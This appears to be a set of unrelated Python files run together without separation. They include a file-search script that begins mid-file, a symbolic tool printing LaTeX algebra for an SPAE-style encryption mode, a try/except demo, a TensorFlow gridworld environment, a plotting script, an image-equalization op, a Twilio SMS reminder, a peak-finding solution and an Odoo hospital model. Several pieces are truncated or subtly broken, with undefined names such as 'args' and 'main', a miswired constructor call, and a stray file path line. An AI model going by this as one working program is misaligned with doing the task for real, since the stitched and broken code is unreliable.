def search(file_list, relatedtext):
	for file in file_list:
		if os.path.isfile(file):
			with open(file) as fr:
				for line in fr:
					if relatedtext in line:
						print(line)

if len(sys.argv) < 2:
	file_name = str(input('What file are you looking for? '))
	file_list = main(file_name)
	print()
	boolean = str(input('Do you want to search a file?(y/n)' ))
	if boolean == 'y':
		relatedtext = str(input('What is the text you are looking for? '))
		search(file_list[0], relatedtext)
else:
	file_name = args.file
	file_list = main(file_name)
	print()
	if args.search:
		search(file_list, args.search)


class val(object):
    #def __init__(self,id):
    #    self.id=id

    by_str={}
    by_id={}

    #def get_id(self):
    #    return self.id

    @staticmethod
    def next_id():
        id = 1<<len(val.by_id)
        #print("next_id=%x"%id)
        return id

    @staticmethod
    def register_obj(obj):
        val.by_str[obj.tostring()]=obj
        val.by_id[obj.id]=obj
        return obj

    @staticmethod
    def dump():
        for v in val.by_id.values():
            print("%02x: %s"%(v.id,v.tostring()))

class var(val):
    @staticmethod
    def m(name):
        if name in val.by_str:
            return val.by_str[name]
        return val.register_obj(var(name))

    def __init__(self, name):
        self.name=name
        self.id = val.next_id()

    def tostring(self):
        return self.name

    def tolatex(self):
        return self.name

class expr(val):
    @staticmethod
    def m(name, args):
        new = e(name,args)
        s = e.tostring()
        if s in val.by_str:
            return val.by_str[s]
        return val.register_obj(new)

    def __init__(self, name, args):
        self.name=name
        self.args = args
        self.id = val.next_id()

    def tostring(self):
        out = self.name+"("
        for a in args:
            out += a+","
        out = out[:-1]+")"
        return out

class e(val):
    @staticmethod
    def m(arg):
        new = e(arg)
        s = new.tostring()
        if s in val.by_str:
            return val.by_str[s]
        return val.register_obj(new)

    def __init__(self, arg):
        self.arg = arg
        self.id = val.next_id()

    def tostring(self):
        out = "e("+self.arg.tostring()+")"
        return out

    def tolatex(self):
        out = "E_{\Kb}("+self.arg.tolatex()+")"
        return out

class x(val):
    @staticmethod
    def m(*args):
        return x(*args)

    def __init__(self, *args):
        self.args = []
        mask=0
        for a in args:
            if a is not None:
                mask ^= a.id
                #print("%x -> %x"%(a.id,mask))
        bits = "{0:b}".format(mask)[::-1]
        #print("final mask=%x -> %s"%(mask,bits))
        for i in range(0,len(bits)):
            if bits[i]=='1':
                self.args.append(val.by_id[1<<i])
        #print(self.args)
        self.id = mask

    def tostring(self):
        out = ""
        for a in self.args:
            out += a.tostring()+"+"
        out = out[:-1]
        return out

    def tolatex(self):
        return " \oplus ".join(a.tolatex() for a in self.args)

def close_brackets(s):
    p=""
    for c in s:
        if c=="(":
            p+=")"
        if c==")":
            p=p[:-1]
    return p

def latex_printer(obj):
    s = obj.tolatex()
    lim=160
    if len(s)>lim:
        #s="{}&\\\\\n"+s+"\\\\"
        p = close_brackets(s[0:lim])
        s="{}&"+s[0:lim]+"..."+p
        s+="\\\\"
    else:
        s="{}&"+s+"\\\\"
    return s

def txt_printer(obj):
    return obj.tostring()

def spae_step(ct,pt,p):
    i0 = x.m(pt,p)
    i1 = e.m(i0)
    c = x.m(ct,i1)
    ct = x.m(ct,pt)
    pt= x.m(p,i1)
    return (ct,pt,c)

def v12g_init(k):
    CT_0 = e.m(k)
    PT_0 = x.m(CT_0,k)
    return (CT_0,PT_0)

def v12g_null_tag(k,CT_0,PT_0):
    return e.m(CT_0)

def v12i_null_tag(k,CT_0,PT_0):
    ones=var.m(names["ones"])
    kb = x.m(k,ones)
    return x.m(CT_0,e.m(x.m(PT_0,kb)))

def v12h_null_tag(k,CT_0,PT_0):
    ones=var.m(names["ones"])
    kb = x.m(k,ones)
    return x.m(PT_0,e.m(kb))   #k + Ek(k) + Ek(~k)

def v12j_null_tag(k,CT_0,PT_0):
    ones=var.m(names["ones"])
    kb = x.m(k,ones)
    return x.m(PT_0,e.m(x.m(x.m(CT_0,PT_0),kb)))   #k + Ek(k) + Ek(FF)

def v12i_init(k):
    PT_0 = e.m(k)
    cst0 = var.m("\\block{CST0}")
    CT_0 = x.m(cst0,k)
    return (CT_0,PT_0)

def v12g_tag(k,ct,pt):
    return x.m(ct,e.m(x.m(x.m(ct,pt))))

def v12h_tag(k,ct,pt,mlen,alen):
    padinfo = var.m("PadInfo(%d,%d)"%(mlen,alen))
    return x.m(ct,e.m(x.m(x.m(ct,pt),padinfo)))

def test(initializer=v12g_init,null_tag=v12h_null_tag,printer=latex_printer,verbose=True):
    print()
    latex = printer==latex_printer

    k=var.m(names["k"])
    (CT_0,PT_0) = initializer(k)

    tag_null = null_tag(k,CT_0,PT_0)
    ct=CT_0
    pt=PT_0

    ones=var.m(names["ones"])
    #cst0 = var.m("\\block{CST0}")
    #p_values = [None, ones, cst0, x.m(ones,cst0)]
    p_values = [None, ones]
    if latex:
        print("\\begin{align}")
        print("\\begin{split}")
        print("\CT_%d =%s"%(0,printer(ct)))
        print("\PT_%d =%s"%(0,printer(pt)))
        print("\TAG_{null}=%s\\\\"%(printer(tag_null)))
        print("\\end{split}")
        print("\\end{align}")
    else:
        print("CT_%d =%s"%(0,printer(ct)))
        print("PT_%d =%s"%(0,printer(pt)))
        print("TAG_null=%s"%(printer(tag_null)))
    for p in p_values:
        ct=CT_0
        pt=PT_0
        alen=0
        mlen=0

        if latex:
            print("\\begin{align}")
            print("\\begin{split}")
            print("\\\\")
        if p is None:
            print("\Pb_0  ={}&0")
        else:
            print("\Pb_0 =%s"%(printer(p)))
        for i in range(0,12):
            print("\\\\")
            (ct,pt,p) = spae_step(ct,pt,p)
            mlen+=16*8
            tag = v12h_tag(k,ct,pt,mlen,alen)
            if verbose:
                if latex:
                    print("\CT_%d =%s"%(i+1,printer(ct)))
                    print("\PT_%d =%s"%(i+1,printer(pt)))
                else:
                    print("CT_%d =%s"%(i+1,printer(ct)))
                    print("PT_%d =%s"%(i+1,printer(pt)))
            if latex:
                print("\Cb_%d  =%s"%(i,printer(p)))
                #print("\Cb_%d \oplus \TAG_{null} =%s"%(i,printer(x.m(p,tag_null))))
                #print("\TAG_%d =%s"%(i,printer(tag)))
                #print("\Cb_%d \oplus \TAG_%d =%s"%(i,i,printer(x.m(p,tag))))
                #print("\Cb_%d \oplus \TAG_%d + \TAG_{null}=%s"%(i,i,printer(x.m(tag_null,x.m(p,tag)))))
            else:
                print("Cb_%d  =%s"%(i,printer(p)))
                #print("Cb_%d + TAG_null =%s"%(i,printer(x.m(p,tag_null))))
                print("TAG_%d =%s"%(i,printer(tag)))
                print("Cb_%d + TAG_%d =%s"%(i,i,printer(x.m(p,tag))))
                #print("Cb_%d + TAG_%d + TAG_null =%s"%(i,i,printer(x.m(tag_null,x.m(p,tag)))))
        if latex:
            print("\\end{split}")
            print("\\end{align}")

def cx(initializer=v12g_init,printer=latex_printer,verbose=True):
    print()
    latex = printer==latex_printer

    k=var.m(names["k"])
    (CT_0,PT_0) = initializer(k)

    ct=CT_0
    pt=PT_0

    ones=var.m(names["ones"])

    p_values = [None]

    expressions = []
    for p in p_values:
        ct=CT_0
        pt=PT_0
        #skip it since we want to xor the Ci
        #expressions.append((ct,pt,p))
        for i in range(0,4):
            (ct,pt,p) = spae_step(ct,pt,p)
            #print(i,": ",printer(p))
            expressions.append((ct,pt,p))

    for i in range(0,1<<len(expressions)):
        bits = "{0:b}".format(i)[::-1]
        bitcnt=0
        terms=[]
        for b in range(0,len(bits)):
            if bits[b]=='1':
                bitcnt+=1
                terms.append(b)
        if bitcnt>1:
            expr=""
            expr_val=None
            for term in terms:
                n="\Cb_{%d}"%term
                v=expressions[term][2]
                #print(n,": ",printer(v))
                expr+=n+" \oplus "
                if expr_val is None:
                    expr_val = v
                else:
                    expr_val = x.m(expr_val,v)
            print(expr[:-8]," = ",printer(expr_val))

def cx_symb(printer=latex_printer,verbose=True):
    print()
    latex = printer==latex_printer

    CT_0=var.m("\CT_0")
    PT_0=var.m("\PT_0")

    p_values = [None]

    depth = 6

    expressions = []
    for p in p_values:
        ct=CT_0
        pt=PT_0
        #skip it since we want to xor the Ci
        expressions.append((ct,pt,p))
        for i in range(0,depth):
            (ct,pt,p) = spae_step(ct,pt,p)
            #print(i,": ",printer(p))
            expressions.append((ct,pt,p))

    term_names = ["CT","PT","Cb"]
    for j in range(0,len(term_names)):
        print("\\begin{align}")
        print("\\begin{split}")
        for i in range(1,1<<(len(expressions))):
            bits = "{0:b}".format(i)[::-1]
            o=0
            if (j==2):
                if i & 1:
                    continue
                o=-1
            bitcnt=0
            terms=[]

            for b in range(0,len(bits)):
                if bits[b]=='1':
                    bitcnt+=1
                    terms.append(b)

            tname = term_names[j]
            expr=""
            expr_val=None
            for term in terms:
                n="\%s_{%d}"%(tname,term+o)
                v=expressions[term][j]
                #print(n,": ",printer(v))
                expr+=n+" \oplus "
                if expr_val is None:
                    expr_val = v
                else:
                    expr_val = x.m(expr_val,v)
            if expr_val is not None:
                print(expr[:-8]," = ",printer(expr_val))
        if latex:
            print("\\end{split}")
            print("\\end{align}")

def cx2_symb(printer=latex_printer,verbose=True):
    print()
    latex = printer==latex_printer

    CT_0=var.m("\CT_0")
    PT_0=var.m("\PT_0")

    p_values = [None]

    depth = 5

    expressions = []
    for p in p_values:
        ct=CT_0
        pt=PT_0
        np=p
        #skip it since we want to xor the Ci
        expressions.append((ct,pt,p))
        for i in range(0,depth):
            (ct,pt,c) = spae_step(ct,pt,p)
            p=np
            np=c
            #print(i,": ",printer(p))
            expressions.append((ct,pt,c))

    print("$\Pb_i+1 = \Cb_{i-1}$, $\Pb_0=0$, $\Pb_1=0$")
    term_names = ["CT","PT","Cb"]
    for j in range(0,len(term_names)):
        print("\\begin{align}")
        print("\\begin{split}")
        for i in range(1,1<<(len(expressions))):
            bits = "{0:b}".format(i)[::-1]
            o=0
            if (j==2):
                if i & 1:
                    continue
                o=-1
            bitcnt=0
            terms=[]

            for b in range(0,len(bits)):
                if bits[b]=='1':
                    bitcnt+=1
                    terms.append(b)

            tname = term_names[j]
            expr=""
            expr_val=None
            for term in terms:
                n="\%s_{%d}"%(tname,term+o)
                v=expressions[term][j]
                #print(n,": ",printer(v))
                expr+=n+" \oplus "
                if expr_val is None:
                    expr_val = v
                else:
                    expr_val = x.m(expr_val,v)
            if expr_val is not None:
                print(expr[:-8]," = ",printer(expr_val))
        if latex:
            print("\\end{split}")
            print("\\end{align}")

names={}

printer = latex_printer

if printer==latex_printer:
    names["k"]="\\Kb"
    names["ones"]="\\block{FF}"
else:
    names["k"]="k"
    names["ones"]="FF"

#test(v12g_init,v12h_null_tag,printer,verbose=False)
#cx(v12g_init,printer)
cx2_symb(printer)


def main():
    no1 = int(input("Enter first number:"))
    no2 = int(input("Enter second number:"))

    try:
        print("Inside try")
        ans = no1 / no2

    except ZeroDivisionError as obj:
        print("Divide by zero exception", obj)

    else:
        print("Inside else")
        print("Division is:", ans)

    finally:
        print("Inside finally")
        print("Deallocate the resource")

if __name__ == "__main__":
    main()

4 Python_Programs/Programs to demo python concepts/error_handling9.py


"""
A gridworld environment where the agent has to reach cells
before the end of an episode.
"""

import tensorflow as tf

from .base import TFEnv
from .util import bcast_where, excluded_random

class PointSeeker(TFEnv):
    """
    A batched "point seeker" environment.

    Observations are continuous x,y positions for both the
    player and the target.
    However, there is also an observe_visual() method that
    produces a rendering of the gridworld.

    The action space is either [UP, DOWN, LEFT, RIGHT] or
    [NOP, UP, DOWN, LEFT, RIGHT] depending on whether or
    not no-ops are enabled.

    The state contains the following signed integers:
     - current X
     - current Y
     - goal X
     - goal Y
     - steps remaining

    The coordinate system works the same way as for Pong.
    """

    def __init__(self,
                 width=10,
                 height=10,
                 timestep_limit=64,
                 reward_decay=0.99,
                 nops=False):
        self.width = tf.convert_to_tensor(width, dtype=tf.int32)
        self.height = tf.convert_to_tensor(height, dtype=tf.int32)
        self.timestep_limit = tf.convert_to_tensor(timestep_limit, dtype=tf.int32)
        self.reward_decay = tf.convert_to_tensor(reward_decay, dtype=tf.float32)
        self.nops = nops

    @property
    def num_actions(self):
        if self.nops:
            return 5
        return 4

    def reset(self, batch_size):
        player_pos = tf.random_uniform(shape=[batch_size, 2],
                                       minval=0,
                                       maxval=self.width - 1,
                                       dtype=tf.int32)
        num_cells = tf.cast(self.width * self.height, tf.float32)
        same_x_prob = tf.cast(self.height - 1, tf.float32) / num_cells
        same_x = tf.random_uniform([batch_size]) < same_x_prob
        goal_x = tf.where(same_x,
                          player_pos[:, 0],
                          excluded_random(batch_size, self.width, player_pos[:, 0]))
        goal_y = tf.where(same_x,
                          excluded_random(batch_size, self.height, player_pos[:, 1]),
                          tf.random_uniform(shape=[batch_size],
                                            minval=0,
                                            maxval=self.height - 1,
                                            dtype=tf.int32))
        goal_pos = tf.stack([goal_x, goal_y], axis=-1)
        steps_remaining = tf.zeros([batch_size, 1], dtype=tf.int32) + self.timestep_limit
        return tf.concat([player_pos, goal_pos, steps_remaining], axis=-1)

    def step(self, states, actions):
        player_x = states[:, 0]
        player_y = states[:, 1]
        goal_x = states[:, 2]
        goal_y = states[:, 3]
        steps_remaining = states[:, 4]

        x_delta, y_delta = self._action_deltas(actions)

        player_x = wrapped_add(player_x, x_delta, self.width)
        player_y = wrapped_add(player_y, y_delta, self.height)
        steps_remaining = steps_remaining - 1

        new_states = tf.stack([player_x, player_y, goal_x, goal_y, steps_remaining], axis=-1)

        at_goals = tf.logical_and(tf.equal(player_x, goal_x), tf.equal(player_y, goal_y))
        dones = tf.logical_or(steps_remaining <= 0, at_goals)
        rews = self._rewards(at_goals, steps_remaining)

        return tf.where(dones, self.reset(tf.shape(states)[0]), new_states), rews, dones

    def observe(self, states):
        states = tf.cast(states, tf.float32)
        width = tf.cast(self.width, tf.float32)
        height = tf.cast(self.height, tf.float32)
        player_x = states[:, 0] / width
        player_y = states[:, 1] / height
        goal_x = states[:, 2] / width
        goal_y = states[:, 3] / height
        steps_remaining = states[:, 4] / tf.cast(self.timestep_limit, tf.float32)
        return tf.stack([player_x, player_y, goal_x, goal_y, steps_remaining], axis=-1)

    def observe_visual(self, states):
        batch = tf.shape(states)[0]
        xs = tf.tile(tf.expand_dims(tf.range(0, self.width), axis=0), [batch, 1])
        ys = tf.tile(tf.expand_dims(tf.range(0, self.height), axis=0), [batch, 1])

        def point_mask(x, y):
            x = tf.reshape(x, [batch, 1])
            y = tf.reshape(y, [batch, 1])
            x_mask = tf.reshape(tf.equal(x, xs), [batch, 1, self.width])
            y_mask = tf.reshape(tf.equal(y, ys), [batch, self.height, 1])
            return tf.logical_and(x_mask, y_mask)

        player_mask = point_mask(states[:, 0], states[:, 1])
        goal_mask = point_mask(states[:, 2], states[:, 3])
        stacked = tf.stack([player_mask, tf.zeros_like(player_mask), goal_mask], axis=-1)
        return tf.cast(stacked, tf.uint8) * tf.constant(255, dtype=tf.uint8)

    def _rewards(self, at_goals, steps_remaining):
        rews = tf.cast(at_goals, tf.float32)
        steps_taken = tf.cast(self.timestep_limit - steps_remaining, tf.float32)
        decays = tf.exp(steps_taken * tf.log(self.reward_decay))
        return decays * rews

    def _action_deltas(self, actions):
        up = 0
        down = 1
        left = 2
        right = 3
        if self.nops:
            up += 1
            down += 1
            left += 1
            right += 1
        positives = tf.ones(tf.shape(actions), dtype=tf.int32)
        negatives = tf.negative(positives)
        zeros = tf.zeros_like(positives)
        x_delta = tf.where(tf.equal(actions, left),
                           negatives,
                           tf.where(tf.equal(actions, right),
                                    positives,
                                    zeros))
        y_delta = tf.where(tf.equal(actions, up),
                           negatives,
                           tf.where(tf.equal(actions, down),
                                    positives,
                                    zeros))
        return x_delta, y_delta

def wrapped_add(vectors, values, maxval):
    sums = tf.add(vectors, values)
    return bcast_where(sums < 0,
                       maxval - 1,
                       tf.where(sums >= maxval,
                                tf.zeros_like(sums),
                                sums))


# -*- coding: utf-8 -*-
"""
Created on Mon May 18 16:27:22 2020

@author: ZechT
"""

import numpy as np
import matplotlib.pyplot as plt
import scipy.optimize as opt

def npoly(x,a,b,c,d,e,f,g,h):
    return(a*x**7+b*x**6+c*x**5+d*x**4+e*x**3+f*x**2+g*x+h)

#MAC=np.loadtxt('MAC_table.txt')
MAC=np.loadtxt('MAC_table2.txt',skiprows=3)

plt.figure()
plt.yscale('log')
plt.xscale('log')
plt.plot(MAC[:,0],MAC[:,2])
plt.plot(MAC[:,0],MAC[:,1])
EnergyGallium = 9.251674e-3
EnergyCopper = 8.0478227e-3
plt.plot([EnergyGallium,EnergyGallium],[10e-4,10e3],color='red')
plt.plot([EnergyCopper,EnergyCopper],[10e-4,10e3],color='red')


from typing import Iterable, List, Union

import numpy as np
from albumentations.augmentations.transforms import Equalize as EqualizeAlb

from fastestimator.op.numpyop.univariate.univariate import ImageOnlyAlbumentation
from fastestimator.util.traceability_util import traceable

@traceable()
class Equalize(ImageOnlyAlbumentation):
    """Equalize the image histogram.

    Args:
        inputs: Key(s) of images to be modified.
        outputs: Key(s) into which to write the modified images.
        mode: What mode(s) to execute this Op in. For example, "train", "eval", "test", or "infer". To execute
            regardless of mode, pass None. To execute in all modes except for a particular one, you can pass an argument
            like "!infer" or "!train".
        ds_id: What dataset id(s) to execute this Op in. To execute regardless of ds_id, pass None. To execute in all
            ds_ids except for a particular one, you can pass an argument like "!ds1".
        eq_mode: {'cv', 'pil'}. Use OpenCV or Pillow equalization method.
        by_channels: If True, use equalization by channels separately, else convert image to YCbCr representation and
            use equalization by `Y` channel.
        mask: If given, only the pixels selected by the mask are included in the analysis. May be 1 channel or 3 channel
            array. Function signature must include `image` argument.
        mask_params: Params for mask function.

    Image types:
        uint8
    """
    def __init__(self,
                 inputs: Union[str, Iterable[str]],
                 outputs: Union[str, Iterable[str]],
                 mode: Union[None, str, Iterable[str]] = None,
                 ds_id: Union[None, str, Iterable[str]] = None,
                 eq_mode: str = "cv",
                 by_channels: bool = True,
                 mask: Union[None, np.ndarray] = None,
                 mask_params: List[str] = ()):
        super().__init__(
            EqualizeAlb(mode=eq_mode, by_channels=by_channels, mask=mask, mask_params=mask_params, always_apply=True),
            inputs=inputs,
            outputs=outputs,
            mode=mode,
            ds_id=ds_id)


import os
from twilio.rest import Client
from dotenv import load_dotenv

load_dotenv()

account_sid = os.environ.get('ACCOUNT_SID')
auth_token = os.environ.get('AUTH_TOKEN')
client = Client(account_sid, auth_token)

message = client.messages.create(
  from_=os.environ.get('FROM_NUMBER'),
  body='Don\'t forget, you have an meeting in 2 days',
  to=os.environ.get('TO_NUMBER')
)

print(message.sid)


'''
What's special here is that, all those traditional three conditions have been adapted according to the criteria

a[m] == key ---------> a[m-1] > a[m] < a[m+1]   #mid
a[m] > key -------------> a[m-1] > a[m]       #left
a[m] < key --------------> a[m+1] > a[m]          #right

and this is only possible because there are multiple peaks. If not, then BS would've been difficult

Base Conditions
if n==1: return 0
if a[0] > a[1]: return 0
if a[n-1] > a[n-2]: return n-1
'''

class Solution:
    def findPeakElement(self, a: List[int]) -> int:
        n = len(a)

        if n == 1:
            return 0
        if a[0] > a[1]:
            return 0
        if a[n-1] > a[n-2]:
            return n-1

        start = 1
        end = n-2
        while start <= end:
            m = start + ((end-start)//2)
            if a[m+1] < a[m] and a[m] > a[m-1]:
                return m
            elif a[m+1] > a[m]:
                start = m + 1
            elif a[m-1] > a[m]:
                end = m - 1

        return -1


from odoo import models, fields, api
from datetime import timedelta, datetime
from odoo.exceptions import AccessError, UserError, RedirectWarning, ValidationError, Warning

class ACSTreatment(models.Model):
    _inherit = 'hms.treatment'

    finding = fields.Text(string="Keluhan Utama", states={'cancel': [
                          ('readonly', True)], 'done': [('readonly', True)]})
    anamnesis = fields.Text(string="Anamnesis", states={'cancel': [
                            ('readonly', True)], 'done': [('readonly', True)]})
    pemeriksaan_fisik = fields.Text(string="Pemeriksaan Fisik", states={'cancel': [
                                    ('readonly', True)], 'done': [('readonly', True)]})
    tindakan = fields.Text(string="Tindakan", states={'cancel': [
                           ('readonly', True)], 'done': [('readonly', True)]})
    appointment = fields.Many2one(
        'hms.appointment', ondelete="restrict", string='Appointment', readonly=True)
    second_diagnosis_id = fields.Many2one('hms.diseases', string='Diagnosis 2',
                                          states={'cancel': [('readonly', True)], 'done': [('readonly', True)]})

    @api.model
    def _get_default_physician(self):
        physician = self.env['hms.physician'].search(
            [('user_id', '=', self.env.user.id)])
        if physician:
            return physician.id

    physician_id = fields.Many2one('hms.physician', ondelete='restrict', string='Physician', help='Physician who treated or diagnosed the patient', states={
                                   'cancel': [('readonly', True)], 'done': [('readonly', True)]}, default=_get_default_physician)

    def treatment_running(self):
        result = super().treatment_running()

        # add second desase
        print('set second disease')
        print(self.second_diagnosis_id.name)
        # self.patient_disease_id.write({
        #     'second_disease_id': self.second_diagnosis_id.id
        # })

        my_disease = self.env['hms.patient.disease'].search(
            [('id', '=', self.patient_disease_id.id)], limit=1)

        my_disease.write({
            'second_disease': self.second_diagnosis_id.id
        })

        return result